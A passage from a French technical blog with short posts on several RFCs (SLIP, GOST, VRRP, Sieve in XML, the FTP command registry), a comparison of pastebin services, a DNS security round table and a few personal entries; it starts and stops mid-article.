  • Pas de détection d'erreur. SLIP comptait entièrement sur la ligne ou bien sur IP (dont la somme de contrôle permet de détecter les paquets corrompus).
  • Pas de compression (même si des solutions partielles comme le RFC 1144 sont apparues par la suite).

Bref, SLIP était un vrai protocole Internet : simple, qui marche et qui rend service pendant que les comités sont toujours à discuter d'un protocole meilleur.

Dans le monde Internet, SLIP a été largement remplacé par PPP (qui n'existait pas encore à l'époque du RFC 1055).


Téléchargez le RFC 1055


L'article seul

Choisir un « pastebin »

Première rédaction de cet article le 17 mars 2010
Dernière mise à jour le 10 septembre 2010


Il y a davantage de « pastebins » (ces applications Web qui permettent d'enregistrer temporairement une partie d'un programme qu'on veut communiquer facilement mais qui est trop long pour des supports comme Twitter) sur l'Internet que de distributions Linux (ou de VCS). Écrire un pastebin est même souvent un exercice de choix pour le débutant qui essaie un nouvel environnement de programmation Web. Résultat, je ne sais plus lequel choisir lorsque je dois parler d'un petit bout de code sur IRC ou XMPP.

Alors, j'en ai comparé quelques uns. J'ai fait pour cela quatre petits textes, un dans un langage de programmation très classique, C :

  CURL *curl;
  char errbuf[1024];

  curl = curl_easy_init();
  if (! curl) {
    fprintf(stderr, "Cannot initialize curl\n");
    return 1;
  }
  curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, errbuf);

un dans un langage nettement moins connu, Haskell :

checkDcls :: Program -> Result
checkDcls l =  
     let t = Map.fromList (map extract 
                                  (filter is_declaration l)) in
            foldl combine (True, Nothing) (map (test_declaration t)
                 (filter is_transition l))

un exemple d'un fichier de configuration (ici, du Apache) :


    WSGIDaemonProcess bortzmeyer.org processes=3 threads=10 display-name=%{GROUP}
    WSGIProcessGroup bortzmeyer.org
    <Directory /var/www/www.bortzmeyer.org/wsgis>
        Options -Indexes -Multiviews +ExecCGI
        Order allow,deny
        Allow from all
    </Directory>

et enfin un exemple d'exécution d'une commande Unix :

% git log 
commit 4d10b9c920c4925d93df760a042395a23261be0e
Author: Stephane Bortzmeyer <stephane+github@bortzmeyer.org>
Date:   Sat Mar 13 13:15:13 2010 +0100

    Better description of the reflector

Je savais qu'il y avait un choix pour les langages de programmation, les éditeurs, les VCS, les partis politiques (sauf si on se limite au PS, au Modem et à l'UMP) et les boissons servies au café. Dans tous les cas, je vois à peu près les différences. Et je peux donc faire un choix. Mais pour les pastebin ? Ils sont vraiment si différents que cela ? Essayons successivement ces extraits de codes sur plusieurs pastebins (en sachant qu'on n'arrivera jamais à les utiliser tous).

Commençons par Copy Paste Code. On peut l'utiliser sans avoir de compte mais en avoir un permet de gérer ses extraits, les supprimer, etc (je n'ai pas testé). Copy Paste Code permet de colorier le code selon le langage (qu'il faut indiquer explicitement, le choix est vaste mais Haskell n'y figure pas, ni les langages de configuration comme celui d'Apache). Le résultat, pour C, est en effet agréable (le code Haskell peut être enregistré mais il n'est pas colorié). Copy Paste Code ne met pas automatiquement les numéros de ligne, ce qui serait pratique.

J'essaie ensuite http://paste.factorcode.org/. Le choix des langages connus est beaucoup plus vaste et inclus cette fois Haskell, ainsi que la configuration Apache. La colorisation pour C est différente de celle de Copy Paste Code mais tout aussi bonne. Celle d'Haskell est très limitée mais c'est cohérent avec le faible nombre de mots-clés de ce langage. Il ne semble pas y avoir d'option « non formaté » (par exemple pour ma commande Unix et son résultat) et le formatage par défaut, pour Factor, donne des mauvais résultats. Enfin, pour écrire un extrait, le CAPTCHA est très pénible. Et il ne semble pas possible de se créer un compte pour pouvoir en être dispensé. Bref, c'est un de ceux que j'ai le moins aimé.

Et le site de référence, http://pastebin.com/ ? Il souffre de publicités tapageuses. Par contre, son choix de langages est le plus vaste. Le coloriage d'Haskell tient compte des fonctions qui, sans être des mots-clés, sont tellement répandues qu'elles méritent une mise en valeur (comme fold ou map, que http://paste.factorcode.org/ ignore). Comme rien n'est parfait, le langage de configuration d'Apache n'est cette fois pas connu, j'ai utilisé l'option « Pas de formatage ». Et j'apprécie beaucoup la numérotation automatique des lignes, très pratique lorsqu'on demande de l'aide dans une pièce XMPP « Quelqu'un voit pourquoi la ligne 4 est refusée ? ». D'autre part, pastebin.com permet facilement d'indiquer un extrait de code comme privé (il n'apparait pas dans la liste mais ceux à qui on donne l'URL peuvent le voir). On peut en outre sans formalité créer un espace à soi, accessible par http://LE-NOM-QUE-JE-CHOISIS.pastebin.com/. Et pastebin.com a une API, ce qui est rare (regardez, par exemple, ce code Python pour y accéder).

Place maintenant à SourcePod.com qui a l'avantage d'avoir une interface en français. Sa liste de langages reconnus est vaste mais la coloration syntaxique pour Haskell est complètement ratée (l'argument de map mis en rouge mais pas celui de foldl). De même, l'option « Pas de coloration syntaxique » colorie quand même ma configuration Apache ou mon exemple de commande Unix, et de manière plutôt bizarre.

Original pour sa mise en œuvre, http://vpaste.net/ se sert de vim pour faire la coloration. Cela lui permet d'afficher une longue liste de langages reconnus (mais la coloration pour Apache a des bogues). Il se veut très simple et n'offre donc pas plein de gadgets. Mais il a une API REST.

Et, puisque le texte tapé dans les pastebin est souvent du code, pourquoi ne pas en profiter pour tester la compilation de ce code ? C'est ce que fait IDEone qui sert à la fois de pastebin traditionnel et de compilateur de test, pour un grand nombre de langages.

Sinon, on trouve des pastebin à des tas d'endroits. Par exemple, Github en a un, nommé Gist. Il faut un compte Github mais j'en ai un et que j'utilise donc, pour moi, ce n'est pas trop contraignant. Tous les extraits de code sont des dépôts git et sont donc versionnés. Regardez par exemple http://gist.github.com/335753. La liste des langages reconnus est très longue et c'est l'une des deux seules où j'ai trouvé le très récent Go (mais avec une coloration pas encore parfaite).

Enfin, je n'ai pas eu le temps de tester http://pastie.org/.

Lequel faut-il utiliser ? C'est évidemment largement une question de goût. Personnellement, je me sers de Gist qui a toutes les fonctions dont j'ai besoin. Mais c'est aussi, en bonne partie, parce que j'utilise Github régulièrement. Vos goûts peuvent être différents.

Tiens, j'ai oublié de regarder lesquels distribuaient leur code source. Apparemment, vpaste.net le fait.

Merci à Samuel Tardieu, Ollivier Robert, lord et Mathieu Arnold pour leurs conseils et suggestions.


L'article seul

Table ronde « Sécurité du DNS » aux RINDD 2010

Première rédaction de cet article le 16 mars 2010


Le 15 et 16 mars 2010 ont vu (outre le vingt-cinquième anniversaire du dépôt du premier nom de domaine, symbolics.com), les secondes Rencontres Internationales des Noms de Domaine, à Paris. Normalement, ça fait RIND mais apparemment le sigle officiel est RINDD. La table ronde du mardi 16 au matin était consacrée à « La sécurité du DNS » et j'étais un des participants.

Comme c'était une table ronde et pas un exposé formel, je n'avais préparé que quelques transparents, me focalisant sur la question de la disponibilité du service DNS. Voici ces transparents.

À la même table ronde, il y avait aussi un représentant de Mailclub, pour leur nouvelle offre de serveurs DNS dédiés (chaque serveur est physiquement dédié à un client), un d'Akamai pour l'ensemble de leur offre (exposé trop long, je trouve et s'éloignant souvent du DNS), un de CORE pour le projet .bank et l'animateur, Olivier Caleff, qui a fait un très bon exposé, très concret, sur le hameçonnage).

J'ai particulièrement aimé, parmi les exemples de hameçonnage, celui de la soi-disant étude de satisfaction pour McDonald's. Les gogos se faisaient promettre 80 $ et devaient, pour les toucher, indiquer leurs coordonnées bancaires, mot de passe inclus.

Bon, et la sécurité du DNS ? Il y a eu plusieurs questions, sur la politique d'enregistrement dans .fr, sur la difficulté à trouver un bon hébergeur DNS (avec demande que l'AFNIC fasse une étude comparative et la publie), mais pas beaucoup sur DNSSEC.


L'article seul

RFC 5830: GOST 28147-89 encryption, decryption and MAC algorithms

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : V. Dolmatov (Cryptocom)
Pour information
Première rédaction de cet article le 16 mars 2010


Les algorithmes de signature et de chiffrement GOST sont des normes russes de cryptographie. Leur utilisation est obligatoire en Russie pour les services publics. GOST est un algorithme purement local, qui n'avait été décrit qu'en russe et qui n'avait donc jamais suscité d'intérêt à l'étranger. Sauf erreur, ce RFC 5830 (et son compagnon, le RFC 5832, sur l'algorithme de signature) sont les premières descriptions « officielles » de GOST en anglais. Les RFC précédents comme le RFC 4490 ou le RFC 4491 ne portaient que sur l'usage de GOST. (Depuis, une nouvelle version de l'algorithme est sortie, spécifié dans le RFC 8891.)

GOST 28147-89, décrit dans notre RFC, est la norme russe de chiffrement et déchiffrement symétrique (GOST R 34.10-2001, décrit dans le RFC 5832, étant l'algorithme de signature).

La section 4 donne le cadre général de l'algorithme. On note que, s'il dépend de tables de substitution, aucune n'est définie dans la norme (on peut en trouver dans le RFC 4357). Classiquement, il existe plusieurs modes de chiffrement comme ECB (décrit en détail en section 5) ou CFB (section 7). GOST 28147-89 permet également de générer un MAC (section 8).

Ces deux RFC sur GOST ont suscité des débats agités à l'IETF, notamment face à la possibilité de leur incorporation dans DNSSEC. Les critiques portaient sur l'insuffisance de la description dans le RFC (bien des points sont laissés dans l'ombre et il semble difficile de mettre en œuvre GOST uniquement en lisant le RFC), sur le peu d'analyse de sécurité sérieuse faite sur GOST, et sur les vraies motivations du gouvernement russe pour insister à imposer un algorithme local (une des hypothèses étant, comme toujours avec les gouvernements fermés, qu'il y a une porte dérobée dans l'algorithme).

Ce RFC a été remplacé depuis par le RFC 8891, qui décrit une version plus récente de l'algorithme.


Téléchargez le RFC 5830


L'article seul

RFC 5832: GOST R 34.10-2001 digital signature algorithm

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : V. Dolmatov (Cryptocom)
Pour information
Première rédaction de cet article le 16 mars 2010


L'algorithme de signature GOST est une norme russe de cryptographie. Son utilisation est obligatoire en Russie pour les services publics. GOST est un algorithme purement local, qui n'avait été décrit qu'en russe et qui n'avait donc jamais suscité d'intérêt à l'étranger (ni, probablement, beaucoup d'essais de cryptanalyse). Ce RFC 5832 (et son compagnon, le RFC 5830, sur l'algorithme de chiffrement) semblent être les premières descriptions de GOST en anglais (il a depuis été remplacé par le RFC 7091). Les RFC précédents comme le RFC 4490 ou le RFC 4491 ne portaient que sur l'usage de GOST.

Le caractère très étatique de GOST est rappelé dès la section 1.1 du RFC qui note que l'algorithme a été développé par la FAGCI (ou FAPSI), la NSA russe « sous la direction du Président de la Fédération ». GOST étant obligatoire en Russie pour les services nationaux (section 2 du RFC) , les responsables du TLD .ru ont donc annoncé qu'ils ne pourraient pas déployer DNSSEC si celui-ci ne fournit pas un moyen d'utiliser GOST (en plus de DSA et RSA). Une des étapes nécessaires à l'utilisation de GOST dans DNSSEC était la disponibilité d'un texte stable décrivant GOST, ce qui est désormais le cas. (Et du RFC 5933 qui spécifie son intégration dans DNSSSEC.)

GOST R 34.10-2001, décrit dans ce RFC, est donc un algorithme de pure signature, ne pouvant pas servir au chiffrement. Reposant sur la cryptographie asymétrique, il est donc sur le même créneau que DSA. Mais, contrairement à lui, il repose sur les courbes elliptiques.

Je vous laisse découvrir ledit algorithme dans le RFC, personnellement, mes compétences en cryptographie sont bien trop faibles pour y comprendre quelque chose. Et le code source ? Pour OpenSSL, il existe une distribution de GOST.


Téléchargez le RFC 5832


L'article seul

Renouveler sa carte d'identité...

Première rédaction de cet article le 15 mars 2010
Dernière mise à jour le 23 mars 2010


C'est à l'occasion d'un voyage à l'étranger que je me suis rappelé que les cartes d'identité expirent. Une heure à l'aéroport, lors du retour, à devoir négocier dans la langue de Fibonacci, que j'étais désolé de voyager avec une carte expirée mais que j'allais arranger cela dès mon retour et que je m'excusais platement. Bon, lorsqu'on est malien à l'aéroport de Roissy, ça doit être bien pire. J'ai fini par pouvoir rentrer, jurant, quoique un peu tard, de renouveler ma carte d'identité.

Mais cela a pris plus de temps que prévu (deux mois et demi en tout, je préviens donc ceux dont la carte va bientôt expirer de ne pas attendre le dernier moment). En effet, je croyais qu'un renouvellement était plus simple qu'une première obtention. Grave erreur. Si http://vosdroits.service-public.fr/particuliers/F1341.xhtml dit que, pour un renouvellement, la preuve de nationalité française n'est pas nécessaire, et bien c'est faux. Le fonctionnaire de service à qui je présente ma demande me dit le contraire, appuyé par http://www.interieur.gouv.fr/sections/a_votre_service/vos_demarches/carte-nationale-d-identite/obtenir-cni (depuis, cette page a changé, le gouvernement ayant modifié les règles). Comme quoi, il y a beaucoup de n'importe quoi sur le Web.

Pour moi, le fait d'avoir eu une carte d'identité était une preuve de nationalité française, mais non. Donc, même pour un renouvellement, il faut prouver son identité nationale. Lorsqu'on est né à l'étranger, avec une majorité de parents et grand-parents nés à l'étranger, c'est un peu délicat. D'autant plus que la définition de l'étranger varie : un employé de la préfecture de police m'a juré que mes grand-parents étaient bien nés en France, alors que c'était officiellement l'Allemagne à cette époque. Un juriste peut-il m'éclairer sur la cas intéressant de l'Alsace-Lorraine ?

L'argument qui m'a été donné pour cette exigence de preuve de nationalité est que les anciennes cartes avaient été distribuées de manière trop laxiste (!) et qu'il fallait donc tout revérifier. (Mon ancienne carte m'avait causé les mêmes soucis, au nom d'un argument analogue, lors du remplacement des anciennes cartes « papier » jaunes par les cartes « plastique », « sécurisées ». Qu'inventeront-ils dans dix ans ?)

Le plus drôle est que l'antenne de police où j'ai fait les formalités était située dans un endroit où l'électorat est très majoritairement UMP. Et que cela n'empêchait pas la totalité des gens faisant la queue de râler contre ces formalités, pour lesquelles ils avaient pourtant voté (sans doute en pensant qu'elles ne s'appliqueraient qu'aux Sénégalais et Algériens).

Bref, comme Georges Moréas, j'ai désormais des doutes sur mon identité nationale.

J'ai découvert depuis que, juste au moment où j'obtenais ma nouvelle carte, le gouvernement a décidé d'assouplir les formalités, reconnaissant même qu'il y avait « de nombreuses tracasseries administratives ». Il est vrai que, à part votre serviteur, des personnalités comme Anne Sinclair avaient été touchées... Il y a même un compte « officiel » Twitter du Ministère de l'Intérieur qui « tweete » pour rappeler les nouvelles règles. Mais la réalité semble ne pas suivre.


L'article seul

Rendez-vous jeudi prochain

Première rédaction de cet article le 15 mars 2010


Je viens de terminer le premier tome des aventures de Thursday Next, policière mal dans sa peau et inspectrice au service de la Littérature, qui tente d'empêcher un méchant particulièrement réussi de changer l'intrigue de Jane Eyre. C'est confus, c'est compliqué à suivre, c'est bourré d'inventions, c'est drôle, c'est très érudit. Il est recommande de réviser sérieusement la littérature anglaise du dix-neuvième siècle avant de le lire ; l'histoire aussi, d'ailleurs.

(Je l'ai lu en anglais, on me souffle que la traduction française n'est pas extraordinaire. De toute façon, il y a tellement de jeux avec la langue qu'il vaut mieux lire la version originale.)

J'ai commandé le prochain tome, quelque chose me dit que la méchante compagnie Goliath va cette fois créer de sérieux ennuis à l'héroïne.


L'article seul

RFC 5798: Virtual Router Redundancy Protocol Version 3 for IPv4 and IPv6

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : S. Nadas (Ericsson)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF vrrp
Première rédaction de cet article le 11 mars 2010


Lorsqu'on configure une machine connectée à l'Internet, on indique le routeur par défaut qu'elle doit utiliser. Que faire s'il tombe en panne ? Utiliser VRRP, le protocole que normalise notre RFC, qui permet à plusieurs routeurs de se surveiller mutuellement, et de se remplacer en cas de défaillance.

Prenons par exemple une machine Unix. Sa table de routage va être :

% netstat -r -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
10.0.0.0        0.0.0.0         255.255.255.0   U         0 0          0 wlan0
0.0.0.0         10.0.0.1        0.0.0.0         UG        0 0          0 wlan0

Ici, 10.0.0.1 est le routeur par défaut (on utilise parfois l'ancien terme, incorrect, de passerelle par défaut). Que se passe t-il s'il tombe en panne ? La machine n'a plus accès qu'à une petite portion de l'Internet, son réseau local (ici 10.0.0.0/24) et ceux pour lesquels il existe une route via un autre routeur. En IPv6, des mécanismes comme la découverte de voisin (RFC 4861) peuvent aider à trouver un autre routeur, s'il existe, mais les délais sont souvent trop élevés.

C'est évidemment inacceptable lorsqu'on veut pouvoir compter sur son accès Internet. D'où le protocole VRRP, normalisé à l'origine dans le RFC 2338, puis dans le RFC 3768. Cette ancienne version était spécifique à IPv4 et notre RFC 5798 est la première version de VRRP à être commune à IPv4 et IPv6. Elle porte le numéro 3. (Bien à tort, je trouve, le RFC parle de « IPvX » lorsqu'il veut désigner les deux familles, au lieu de simplement dire « IP ».)

La section 1 du RFC commence par introduire le problème et par expliquer quelles sont les solutions possibles, avant VRRP. Ainsi (section 1.2), en IPv4, les méthodes classiques étaient de faire tourner un protocole de routage comme RIP (RFC 2453) en mode « écoute seule », où la machine reçoit les mises à jour de route, pour en déduire les routeurs possibles, mais n'en envoie pas elle même. C'est ainsi que, à une époque lointaine, toutes les machines Unix en réseau faisaient tourner le programme de routage routed. L'utilisation d'un protocole de routage par des machines non-routeuses a entraîné tellement de mauvaise surprises que cette méthode n'est plus recommandée.

Il reste donc la découverte de routeur par le biais de messages ICMP (RFC 1256), jamais réellement déployée, ou bien les routes statiques, mises à la main ou via DHCP. Cette solution a l'inconvénient de l'absence de résistance aux pannes. Si le routeur par défaut s'arrête, il n'y a pas de mécanisme de bascule automatique.

En IPv6 (section 1.3), il y a une possibilité supplémentaire, le protocole de découverte de voisin du RFC 4861 qui permet, via la fonction Neighbor Unreachability Detection (section 7.3 du RFC 4861) de s'apercevoir qu'un routeur est en panne et d'en chercher un autre. Avec les paramètres par défaut de la découverte de voisin, un tel changement prend environ 40 secondes, ce qui est trop pour la plupart des applications.

La section 1.6 décrit le vocabulaire de VRRP. Notons qu'un « routeur VRRP » est un routeur qui parle le protocole VRRP mais qu'un « routeur virtuel » est l'ensemble des routeurs (un maître et plusieurs remplaçants) qui contribuent au fonctionnement continu d'une adresse IP vers laquelle pointent les routes.

La section 2 est un résumé du cahier des charges de VRRP : service continu pour une adresse IP, avec minimisation du temps de bascule vers un autre routeur physique, possibilité d'exprimer une préférence entre les différents routeurs physiques d'un même routeur virtuel, minimiser les bascules inutiles (par exemple lorsqu'un ancien maître redémarre), fonctionnement sur un réseau local coupé par des ponts qui doivent apprendre l'adresse MAC (section 2.4, qui détaille ce problème), etc. VRRP fonctionne sur tout type de réseau local mais, en pratique, est surtout utilisé sur Ethernet (l'annexe A décrit les spécificités des autres protocole comme le Token Ring).

La section 3 donne une vision générale du protocole VRRP. C'est donc un protocole d'élection. Les routeurs physiques communiquent par la diffusion restreinte sur le réseau local. Pour chaque routeur virtuel, identifié par un nombre nomé VRID (virtual router identifier), un maître est élu, et il sera le seul à router. Les routes des machines non-routeuses pointeront vers le routeur virtuel (cf. section 4.1 pour un schéma). Si on veut faire de la répartition de charge, il faut plusieurs routeurs virtuels, avec des VRID différents, cf. section 4.2 pour un bon exemple. Chaque routeur virtuel a une adresse MAC (il n'y a donc pas de problème avec les caches ARP).

Le maître diffuse périodiquement des messages VRRP advertisement. Si le maître n'en envoie plus, un remplaçant le... remplace, avec la même adresse IP (celle du routeur virtuel) et la même adresse MAC.

Le protocole est normalisé en section 5. Le format des paquets est en section 5.1 et 5.2. À noter :

  • L'adresse IPv4 de destination des paquets de diffusion est 224.0.0.18 et la IPv6 est FF02:0:0:0:0:0:0:12.
  • Le TTL des paquets doit être à 255 (cf . RFC 5082).
  • VRRP n'utilise pas un des protocoles de transport classiques comme UDP, il a son propre protocole, numéroté 112.
  • Le VRID est sur huit bits et il n'existe pas de mécanisme pour son allocation sur un réseau local, c'est à l'administrateur réseau de s'assurer de son unicité.

La section 6 est consacréee à la machine à états du protocole. Dans l'état d'attente (Backup, section 6.4.2), le routeur VRRP écoute passivement les annonces du maître et ne répond pas aux requêtes ARP ou ND pour l'adresse IP du routeur virtuel, et ignore les paquets envoyés à cette adresse. Si le maître n'envoie plus d'annonces (par défaut, c'est après trois annonces non reçues), le routeur passe dans l'état Maître.

Inversement, le routeur dans l'état Maître (section 6.4.3), répond aux requêtes ARP et ND pour l'adresse IP du routeur virtuel, traite les paquets destinés à cette adresse, route les paquets qu'il reçoit et envoie des annonces périodiques pour manifester qu'il est toujours en service.

La section 7 décrit de manière très détaillée ce que doit faire un routeur VRRP lorsqu'il reçoit ou émet les paquets VRRP. C'est là qu'est spécifié le fait qu'un routeur maître doit utiliser l'adresse MAC du routeur virtuel (et non pas celle du routeur physique) lorsqu'il envoie les annonces de bon fonctionnement. C'est pour permettre aux ponts et commutateurs de trouver le routeur physique. Cette adresse MAC est calculée (sections 7.3 et 12) et vaut 00-00-5E-00-01-{VRID} en IPv4 et 00-00-5E-00-02-{VRID} en IPv6.

Comme souvent sur un réseau, le diable est dans les détails pratiques. Ils font l'objet de la section 8. Ainsi, la section 8.1.2 rappelle que, puisque le maître utilise toujours comme adresse MAC celle du routeur virtuel présentée au paragraphe précédent, le client ne peut pas découvrir qu'un routeur physique en a remplacé un autre.

Parmi ces problèmes opérationnels, celui de la sécurité a droit à une section entière, la 9. En gros, VRRP n'a aucune sécurité. Les versions précédentes avaient tenté de mettre en place quelques mécanismes mais ils n'ont eu aucun succès et notre version 3 de VRRP les supprime. Notons que le problème n'est pas créé par VRRP : sur le réseau local, un méchant a énormément de moyens de perturber bien des protocoles indispensables, à commencer par DHCP et ARP. Par exemple, le méchant peut toujours répondre aux requêtes ARP pour l'adresse IP du routeur et lui voler ainsi le trafic. VRRP, où le méchant peut se faire désigner comme maître, n'aggrave donc pas tellement la situation.

VRRP a toujours souffert d'une polémique récurrente sur un brevet que détient Cisco et qui est apparemment effectivement appliqué (des développeurs VRRP ou bien de protocoles similaires ont, semble t-il, reçu des menaces des avocats de Cisco). L'existence de ce brevet n'est pas en soi contraire à la politique de l'IETF. En effet, celle-ci accepte des protocoles brevetés (il est difficile de faire autrement, compte-tenu du membre, et du caractère ridiculement futile, de la grande majorité des brevets logiciels) et demande juste que les prétentions soient publiques, ce qui est le cas ici. D'innombrables messages, souvent courroucés, ont été échangé sur les listes IETF au sujet de ce brevet. Cette situation a mené les développeurs d'OpenBSD à développer un protocole concurrent, CARP. On peut lire un point de vue (très outrancier) sur cette polémique dans l'interview de Ryan McBride. La réalité est plus complexe : les développeurs d'OpenBSD ont adopté une attitude d'affrontement immédiatement (« comme souvent », disent ceux qui connaissent les gens d'OpenBSD) et la bureaucratie IETF n'a pas fait preuve de bonne volonté et a réagi par un blocage complet. Aujourd'hui, les positions semblent hélas figées, au point que CARP, n'ayant pas eu de numéro de protocole officiel (en raison de leur refus de se plier aux procédures IANA, procédures d'ailleurs incorrectement décrites par McBride), a tout simplement pris celui de VRRP. Sur un réseau local, si on voit des paquets du protocole 112, il peut donc s'agir de CARP ou bien de VRRP.

En raison du brevet Cisco sur HSRP (le précurseur de VRRP), brevet dont la licence n'est apparemment disponible que selon les conditions RAND (bien insuffisantes pour du logiciel libre), il n'est pas évident de faire une mise en œuvre libre de VRRP. Il existe toutefois vrrpd et keepalived (aucun des deux ne semble intégrer IPv6).

La configuration de VRRP sur un routeur Juniper est documentée en Configuring VRRP and VRRP for IPv6 et Configure Basic VRRP Support. Cela donne, par exemple :

address 192.0.2.0/25 {
                    vrrp-group 12 {
                        virtual-address 192.0.2.65;
                        priority 80;
                    }

Notez que vrrp-group est un terme purement Juniper, c'est ce que le RFC appelle VRID (ici 12). Quant au concept de priorité (ici 80, donc moins que la priorité par défaut), il est décrit en section 5.2.4. Avec vrrpd, la même configuration serait :

 ip address 192.0.2.2 255.255.255.128 
 vrrp 12 ip 192.0.2.1
 vrrp 12 priority 80

Téléchargez le RFC 5798


L'article seul

RFC 5784: Sieve Email Filtering: Sieves and display directives in XML

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : N. Freed, S. Vedam (Sun)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sieve
Première rédaction de cet article le 11 mars 2010


Le langage de filtrage de courrier Sieve, normalisé dans le RFC 5228 a une syntaxe qui lui est propre et qui nécessite le développement d'outils spécifiques pour l'analyser. Or, il existe un format générique pour lequel d'innombrables outils ont été développés, XML. Ce RFC décrit donc un moyen de représenter les scripts Sieve en XML, ainsi que les règles de conversion de et vers le format traditionnel.

La syntaxe officielle de Sieve est celle d'un fichier texte, format simple et facilement traitable par des programmes. Mais la plupart des utilisateurs de Sieve, n'ayant pas d'expertise avec les langages formels, ne lisent et n'écrivent pas le Sieve dans ce format. Ils se servent d'outils spécialisés qui leur présentent le script sous une forme plus claire pour le non-spécialiste.

Le format XML étant très répandu, des facilités existent pour développer de tels outils, si la syntaxe d'entrée est du XML (section 1 du RFC). Comme ce n'est pas le cas de Sieve, notre RFC 5784 normalise une correspondance entre le format classique de Sieve et XML, permettant les conversions dans les deux sens. En outre, ce schéma XML ajoute la possibilité de donner des indications sur la présentation visuelle souhaitée, un point qui manquait dans la syntaxe Sieve classique (et qui était en général remplacé par des commentaires structurés spécifique à un logiciel d'édition).

La section 3 du RFC rappelle les particularités de la grammaire de Sieve : pour permettre les extensions futures, le langage n'a pas de mots réservés. La syntaxe est fixe (les extensions ne peuvent pas la modifier ou l'étendre). Toute extension peut ajouter des mots-clés. Et il existe déjà de très nombreuses extensions.

Un script Sieve est constitué de commandes, qui sont des actions ou des contrôles (mais la syntaxe ne fournit aucun moyen de distinguer les deux, seule la connaissance du mot-clé le permet). La commande est composée d'un mot-clé, suivi d'arguments, d'un test optionnel et d'un bloc de commandes optionnel. Voici quelques exemples :

stop;   /* Un contrôle tout nu, sans argument ou bloc */
require "fileinto"; /* Un contrôle avec un seul argument */
if true {stop;}   /* Un contrôle avec un test et un bloc de
   commandes */
discard;   /* Une action toute nue, sans argument */
fileinto "folder";  /* Une action avec un argument */

La section 4 définit la représentation en XML. Les contrôles sont représentés par l'élement <control> et les actions par l'élément <action>. Les exemples ci-dessus seraient donc, en XML :


   <control name="stop"/>
   <control name="require"><str>fileinto</str></control>
   <control name="if">
     <test name="true"/><control name="stop"/>
   </control>

   <action name="discard"/>
   <action name="fileinto"><str>folder</str></action>

Les directives permettant de contrôler la représentation visuelle du script Sieve sont en section 4.1. Par exemple, l'élement <displayblock> permet de groupe ensemble des commandes Sieve :


     <displayblock name="File filter list mail" order="1"
                   group="FILE_TO_FOLDER" enable="true">
       <control name="if">
         <test name="header">
           <tag>is</tag>
           <str>Sender</str>
           <str>owner-ietf-mta-filters@imc.org</str>
         </test>
         <action name="fileinto">
           <str>filter</str>
         </action>
       </control>
     </displayblock>

et l'élément <displaydata> d'indiquer du texte qui doit être montré à l'utilisateur lors de l'édition.

Pour permettre l'aller-retour dans les traductions de XML en Sieve, la section 4.2 spécifie des commentaires Sieve structurés permettant de garder l'information de présentation lors de la traduction. Ainsi, le code XML ci-dessus serait « sauvegardé » en :

/* [* name="File filter list mail" order="1" group="FILE_TO_FOLDER" enable="true" */
if header :is "Sender" "owner-ietf-mta-filters@imc.org"
...

où [* indique le début d'un displayblock.

Afin de permettre la validation des scripts Sieve en XML, notre RFC propose deux schémas, un en langage W3C Schema (annexe B), l'autre en Relax NG (annexe C). Prenons le schéma en RelaxNG (xmlsieve.rnc) et testons un script :

% rnv xmlsieve.rnc test2.xml
test2.xml

Parfait, il est bien valide.

L'annexe A contient un exemple complet d'un script Sieve (celui de la section 9 du RFC 5228) en XML. Sa version XML est disponible en rfc5228-sec9.xml et sa version sieve en rfc5228-sec9.sieve.

Voici autre un exemple de script Sieve en XML complet. Ce script jette tous les messages qui n'ont pas de champ Date: ou de champ From:, ainsi que les messages dont l'expéditeur est foobar@example.org :


<?xml version="1.0" encoding="utf-8"?>
<sieve xmlns="urn:ietf:params:xml:ns:sieve">
   <control name="if">
     <test name="anyof">
       <test name="not">
         <test name="exists">
           <list><str>From</str><str>Date</str></list>
         </test>
       </test>
       <test name="header">
         <tag>contains</tag>
         <str>from</str>
         <str>foobar@example.org</str>
       </test>
     </test>
     <action name="discard"/>
   </control>
</sieve>

Pour le traduire en script Sieve classique, on peut utiliser le programme XSLT qui figure dans l'annexe D du RFC (et qui est également disponible en xml2sieve.xslt) :

% xsltproc xml2sieve.xslt test.xml

if anyof ( not ( exists [ "From", "Date" ] ), 
   header :contains "from" "foobar@example.org" )
{
  discard;
}

En dehors de ce programme XSLT (qui ne va que dans un seul sens, depuis XML vers Sieve), je ne connais pas encore de mise en œuvre de ce RFC. Michel Sébastien me signale que JSieve semble avoir en projet une telle option.


Téléchargez le RFC 5784


L'article seul

RFC 5797: FTP Command and Extension Registry

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : J. Klensin, A. Hoenes (TR-Sys)
Chemin des normes
Première rédaction de cet article le 11 mars 2010


C'est un très vieux projet qui voit enfin le jour avec ce RFC : documenter les différentes commandes qu'a accumulé le vénérable protocole FTP, après vingt-quatre ans d'existence sous sa forme actuelle (spécifiée par le RFC 959), et d'innombrables extensions ajoutées sans trop de coordination. FTP, qui a commencé en 1971, sous le nom de Data Transfer Protocol (RFC 171), reste très utilisé un peu partout et l'absence d'un registre de ses commandes et extensions pouvait entrainer des problèmes de portabilité.

Certaines des extensions suivaient le cadre du RFC 2389, qui normalisait un mécanisme commun, souvent désigné sous le nom de FEAT (FEATure). Mais ce n'est pas le cas de toutes. Désormais, RFC 2389 ou pas, toutes les commandes et extensions sont dans un registre unique.

Ce registre est décrit en section 2. Nommé FTP Commands and Extensions, il comprend notamment, pour chaque entrée, les informations suivantes :

  • Nom de la commande (en MAJUSCULES), s'il y en a une (certaines extensions impliquent plusieurs commandes et, dans ce cas, il n'y a pas de nom de commande). Par exemple, LIST (obtenir la liste des fichiers distants) ou PROT+ (cette dernière étant, comme son nom l'indique, une modification de PROT, qui permet de spécifier le niveau de sécurité requis pour un transfert, voir RFC 4217, section 9).
  • Le nom de l'extension, par exemple MDTM (date de modification d'un fichier, cf. RFC 3659) ou hist (fourre-tout pour les vieilles extensions, abandonnées). Si l'extension suit le cadre du RFC 2389, pas de problème, ce nom est celui donné en réponse à la commande FEAT et il est noté en MAJUSCULES. Sinon un nom est inventé et indiqué en minuscules.
  • Le caractère obligatoire ou bien facultatif de cette extension. 'm' signifie mandatory (obligatoire), 'o' optional (facultatif) et 'h' historic (abandonné).

